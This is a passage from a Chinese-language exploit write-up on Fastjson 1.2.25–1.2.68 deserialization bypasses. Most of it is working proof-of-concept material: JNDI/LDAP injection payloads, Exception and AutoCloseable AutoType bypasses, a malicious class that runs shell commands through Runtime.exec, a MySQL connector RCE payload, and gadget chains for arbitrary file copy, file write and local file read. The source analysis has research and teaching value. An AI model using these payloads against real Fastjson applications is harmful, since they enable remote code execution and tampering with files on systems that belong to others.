"UserTransaction":"ldap://0.0.0.0:1389/Basic/Command/calc"
}
}
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包;
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
Fastjson1.2.25-1.2.67
条件:开启AutoType
也是找到新的利用类
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
org.apache.shiro.jndi.JndiObjectFactory类PoC:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
Fastjson1.2.25-1.2.68
环境搭建:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
上面几个版本的修复都是通过将可利用的恶意类添加到黑名单
下面是全新的绕过方式
Exception绕过(>1.2.39)
这个绕过有点类似1.2.47版本的 这里使用的是java.lang.Exception
的这个类,利用条件有点苛刻
{"@type":"java.lang.Exception"}
为什么要使用这个,首先,这个类不在黑白名单里面,其次这个类是反序列化的过程中程序已经存储在mappings缓存里面了,clazz可直接在这里获取到类名返回
即checkAutoType()
里面的:
clazz = TypeUtils.getClassFromMapping(typeName);
public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}
获取到这个clazz之后,返回到DefaultJSONParser.parseObject
运行到结尾处
进入这个deserialze
这里存在一个逻辑,根据一些条件来设置exClass
变量的值
if (type != null && type instanceof Class) {
Class<?> clazz = (Class<?>) type;
if (Throwable.class.isAssignableFrom(clazz)) {
exClass = clazz;
}
}
首先判断这个type是不是Class的实例,再判断是不是Throwable
或其子类,如果满足这些条件就给exClass = clazz
, java.lang.Exception就满足了这些情况
往下
下面的逻辑是解析json中的下一个key和value ,有点类似DefaultJSONParser.parseObject中第一次运行到checkAutoType的逻辑
String key = lexer.scanSymbol(parser.getSymbolTable());
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
if (lexer.token() == JSONToken.LITERAL_STRING) {
String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
} else {
throw new JSONException("syntax error");
}
lexer.nextToken(JSONToken.COMMA);
}
首先获取key,判断这个key是不是@type 如果是,则再获取处Value,也就是@type指定的类的名字,然后再进入checkAutoType
进行检查
注意的是,这次checkAutoType的第二个参数是Throwable.class
,而第一次为NULL
跟进checkAutoType
来到这个地方
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
这里定义了一个布尔类型的expectClassFlag,再判断expectClass是否为空,expectClass就是checkAutoType的第二个参数 class java.lang.Throwable
,不为空,然后在判断expectClass是不上那几个类,如果是则expectClassFlag = false ,显然,Throwable.class并不在其中 ,所以expectClassFlag = true
expectClassFlag = true有什么用呢?
继续往下,经过了黑白名单检查后,来到了这个逻辑
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
这里expectClassFlag=true,会进入这个if语句,然后就加载得到clazz
加载后在哪返回?
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
因为expectClass != null进入这个判断里,再判断第二个@type指定的类,即clazz,是不是java.lang.Throwable
的子类或者相同类
如果是则添加到Mapping里面并返回
也就是说,要利用这个绕过方法,autoType可开可不开,但利用的恶意类必须是Throwable
的子类或者相同类 ,而且还不能是存在于黑名单的类
例如自己写的恶意类
import java.io.IOException;
import java.lang.Exception;
import java.lang.Throwable;
public class Test extends Throwable{
//public class Test extends Exception{ //也可以继承 Exception
private String domain;
public Test() {
super();
}
public void setDomain(String domain) {
this.domain = domain;
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}
然后POC如下:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class App
{
public static void main( String[] args ) {
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload=" {\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\": \"org.example.Test\",\n" +
" \"domain\": \"calc\"\n" +
" }";
JSON.parseObject(payload);
}
}
网上找了一圈,找到符合要求的利用类是org.openqa.selenium.WebDriverException
public class WebDriverException extends RuntimeException
这个RuntimeException是Exception的子类,满足条件
利用的是下面这个方法来获取到一些信息
public String getSystemInformation() {
String host = "N/A";
String ip = "N/A";
try {
host = InetAddress.getLocalHost().getHostName();
ip = InetAddress.getLocalHost().getHostAddress();
} catch (UnknownHostException var4) {
}
return String.format("System info: host: '%s', ip: '%s', os.name: '%s', os.arch: '%s', os.version: '%s', java.version: '%s'", host, ip, System.getProperty("os.name"), System.getProperty("os.arch"), System.getProperty("os.version"), System.getProperty("java.version"));
}
但是这个方法的返回值是 String
类型的,不符合自动调用getter
这里使用$ref
的方式来调用任意的getter
String payload = "{\"x\":{\"@type\":\"java.lang.Exception\",\"@type\":\"org.openqa.selenium.WebDriverException\"},\"content\":{\"$ref\":\"$x.systemInformation\"}}";
JSONObject j = JSON.parseObject(payload);
System.out.println(j.getString("content"));
AutoCloseable绕过
除了Exception之外,还可以用通过AutoCloseable的方式来进行绕过
clazz = TypeUtils.getClassFromMapping(typeName);
这个java.lang.AutoCloseable
接口存在于mapping的缓存中
后面的流程是和上面Exception的绕过方法流程是一样的
只要找到一个类实现了AutoCloseable
接口的类,并且这个类不存在于黑名单中就可以利用了
例如
package org.example;
import java.io.IOException;
import java.lang.Exception;
public class Test implements AutoCloseable{
private String domain;
public Test() {
super();
}
public void setDomain(String domain) {
this.domain = domain;
}
public Class<?> getMessage() {
try {
Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
} catch (IOException e) {
return e.getMessage().getClass();
}
return super.getClass();
}
@Override
public void close() throws Exception {
}
}
poc:
String payload=" {\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.example.Test\",\n" +
" \"domain\": \"calc\"\n" +
" }";
JSON.parseObject(payload);
Mysql RCE
环境搭建
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.11</version>
</dependency>
//MYSQL RCE需要配合Gadget使用
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
这个是依赖上面的AutoCloseable进行绕过,利用的类是com.mysql.jdbc.JDBC4Connection
JDBC4Connection继承ConnectionImpl,ConnectionImpl实现Connection的接口,Connection继承java.sql.Connection,java.sql.Connection继承AutoCloseable, 而且这个类不在 黑名单里面看,所以这个类是可以使用的
POC如下:
需要使用https://github.com/4ra1n/mysql-fake-server这个工具起一个虚假的mysql服务
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3308,
"info": {
"user": "deser_CC31_calc.exe",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}
上面的POC只是适合mysql-connector 5.1.x版本的
不同的mysql-connector版本poc不同
SafeFileOutputStream文件操作
环境搭建
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.5.4</version>
</dependency>
这里使用的是org.eclipse.core.internal.localstore.SafeFileOutputStream
SafeFileOutputStream继承OutputStream,OutputStream实现Closeable接口,Closeable接口继承AutoCloseable,所以这个类可以用
主要利用的是这个构造函数
public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
this.failed = false;
this.target = new File(targetPath);
this.createTempFile(tempPath);
if (!this.target.exists()) {
if (!this.temp.exists()) {
this.output = new BufferedOutputStream(new FileOutputStream(this.target));
return;
}
this.copy(this.temp, this.target);
}
this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
}
首先调用了createTempFile,如果tempPath为空则会指定为默认的this.target.getAbsolutePath() + ".bak";
如果不为空则以tempPath为主。
protected void createTempFile(String tempPath) {
if (tempPath == null) {
tempPath = this.target.getAbsolutePath() + ".bak";
}
this.temp = new File(tempPath);
}
接着判断target是否存在,以及temp是否存在。如果target不存在,temp存在,则会调用copy方法,copy方法会将temp的内容丢给target
protected void copy(File sourceFile, File destinationFile) throws IOException {
if (sourceFile.exists()) {
if (!sourceFile.renameTo(destinationFile)) {
InputStream source = new BufferedInputStream(new FileInputStream(sourceFile));
OutputStream destination = new BufferedOutputStream(new FileOutputStream(destinationFile));
this.transferStreams(source, destination);
}
}
}
这个其实就是一个文件迁移的操作
POC如下
{
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "./1.txt",
"tempPath": "./2.txt"
}
//将2.txt的内容迁移到1.txt中,2.txt中的内容被清空
文件写入
环境搭建
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>18.3.12</version>
</dependency>
接着上面的文件操作
这里利用的连个类com.esotericsoftware.kryo.io.Output
和com.sleepycat.bind.serial.SerialOutput
都是AutoCloseable
的子类,可利用
在SafeFileOutputStream中,创建了一个以tempPath或者targetPath为目标的输出流
如果tempPath不存在,则BufferedOutputStream就是targetPath,如果tempPath存在targetPath不存在,则BufferedOutputStream就是tempPath。
public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
this.failed = false;
this.target = new File(targetPath);
this.createTempFile(tempPath);
if (!this.target.exists()) {
if (!this.temp.exists()) {
this.output = new BufferedOutputStream(new FileOutputStream(this.target));
return;
}
this.copy(this.temp, this.target);
}
this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
}
如果能控制这个输出流就能进行文件写入了,如何控制这个输出流?
在com.esotericsoftware.kryo.io.Output
这个类中找到一个set写入输出流
public void setOutputStream(OutputStream outputStream) {
this.outputStream = outputStream;
this.position = 0;
this.total = 0L;
}
可以通过fastjson的循环引用$ref
,获取到SafeFileOutputStream
的输出流
在flush中将内容写入
public void flush() throws KryoException {
if (this.outputStream != null) {
try {
this.outputStream.write(this.buffer, 0, this.position);
this.outputStream.flush();
} catch (IOException var2) {
throw new KryoException(var2);
}
this.total += (long)this.position;
this.position = 0;
}
}
可以看到这个flush代码中的write
调用,将存储在缓冲区buffer
中的内容,从位置0开始,长度this.position的内容,通过输出流输出
this.buffer可以控制
public void setBuffer(byte[] buffer) {
this.setBuffer(buffer, buffer.length);
}
public void setBuffer(byte[] buffer, int maxBufferSize) {
if (buffer == null) {
throw new IllegalArgumentException("buffer cannot be null.");
} else if (buffer.length > maxBufferSize && maxBufferSize != -1) {
throw new IllegalArgumentException("buffer has length: " + buffer.length + " cannot be greater than maxBufferSize: " + maxBufferSize);
} else if (maxBufferSize < -1) {
throw new IllegalArgumentException("maxBufferSize cannot be < -1: " + maxBufferSize);
} else {
this.buffer = buffer;
this.maxCapacity = maxBufferSize == -1 ? Integer.MAX_VALUE : maxBufferSize;
this.capacity = buffer.length;
this.position = 0;
this.total = 0L;
this.outputStream = null;
}
}
注意:写入的内容会转为byte类型数组,在fastjson中,这个byte数组会被base64解码,所以要将写入的内容进行base64加密
this.position也可以控制
public void setPosition(int position) {
this.position = position;
}
到此,就差如何调用flush()触发漏洞
flush 方法只有在 close 和 write 方法被调用时才会触发。
com.sleepycat.bind.serial.SerialOutput这个类继承着ObjectOutputStream
在ObjectOutputStream中存在一个构造方法:
public ObjectOutputStream(OutputStream out) throws IOException {
verifySubclass();
bout = new BlockDataOutputStream(out);
handles = new HandleTable(10, (float) 3.00);
subs = new ReplaceTable(10, (float) 3.00);
enableOverride = false;
writeStreamHeader();
bout.setBlockDataMode(true);
if (extendedDebugInfo) {
debugInfoStack = new DebugTraceInfoStack();
} else {
debugInfoStack = null;
}
}
跟进 setBlockDataMode()
boolean setBlockDataMode(boolean mode) throws IOException {
if (blkmode == mode) {
return blkmode;
}
drain();
blkmode = mode;
return !blkmode;
}
跟进drain()
void drain() throws IOException {
if (pos == 0) {
return;
}
if (blkmode) {
writeBlockHeader(pos);
}
out.write(buf, 0, pos);
pos = 0;
}
这里就调用了write
将out设置为com.esotericsoftware.kryo.io.Output
这个类即可
最终POC:
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "/1.txt",
"tempPath": "a"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "aGVsbDA=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5 //字符长度
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
Commons IO 2.x 写文件
参考https://zhuanlan.zhihu.com/p/376759650
暂时不想写
环境搭建
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.1</version>
</dependency>
POC
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///D:/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [66]
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}
其他POC
均需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制
org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC:
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
com.caucho.config.types.ResourceRef类PoC:
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}